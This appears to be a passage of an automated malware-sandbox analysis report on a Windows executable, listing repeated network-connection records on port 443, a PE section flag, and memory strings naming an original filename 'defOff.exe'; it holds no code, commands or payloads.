Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49805 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDC914		0_3_00DDC914
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDC914		0_3_00DDC914

Source: file.exe, 00000000.00000003.1987562902.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1987884473.00000000059F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1991077977.000000000593A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001223255.0000000005938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018357897.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992795080.0000000005A39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1985739413.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992933162.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000602426.0000000005A74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992193365.0000000005A2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994423122.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1989197565.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996370732.0000000005938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1987670752.0000000005AB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1991319124.0000000005B0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993107168.0000000005A2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1987340346.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017418321.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1991590363.0000000005A27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997385008.0000000005B87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1988543818.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1987232444.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994560950.0000000005B60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1991857768.0000000005A26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994694903.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995143065.0000000005A5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998528113.0000000005A65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998168997.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1990840649.0000000005941000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1985365009.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997141332.0000000005A55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1988102300.00000000059FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986970195.0000000005936000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1985192162.000000000593C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999974965.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994830043.0000000005A54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994246456.0000000005939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1988781935.000000000593B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000312951.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993616160.0000000005B4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993482935.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986482325.0000000005934000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1985457273.00000000059CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986582822.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017207813.0000000005544000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1988665682.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1987452872.000000000593A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1990958984.0000000005A2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995680461.0000000005939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1987777085.000000000593E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1989501410.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986383650.0000000005A7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001825569.0000000005A91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993357903.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999734134.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1989822721.000000000593B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1990720364.0000000005AF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001434743.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1991199200.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1985839879.00000000059CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995283693.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993924537.0000000005A37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017435249.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992357372.0000000005B31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986889440.00000000059EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1990604558.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992652751.000000000593A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1990102729.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1991441925.000000000593C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1988895791.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1985938647.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996937999.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1983744584.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986146194.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1983643044.0000000005732000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017318203.0000000005492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995952650.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1988323699.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997617253.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1989657886.0000000005ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993790189.0000000005936000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996737842.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998874559.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986787351.0000000005936000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017238695.00000000054B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994102939.0000000005B51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1991722138.0000000005938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992063901.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1990293105.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1985270915.0000000005592000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999127917.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020053346.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
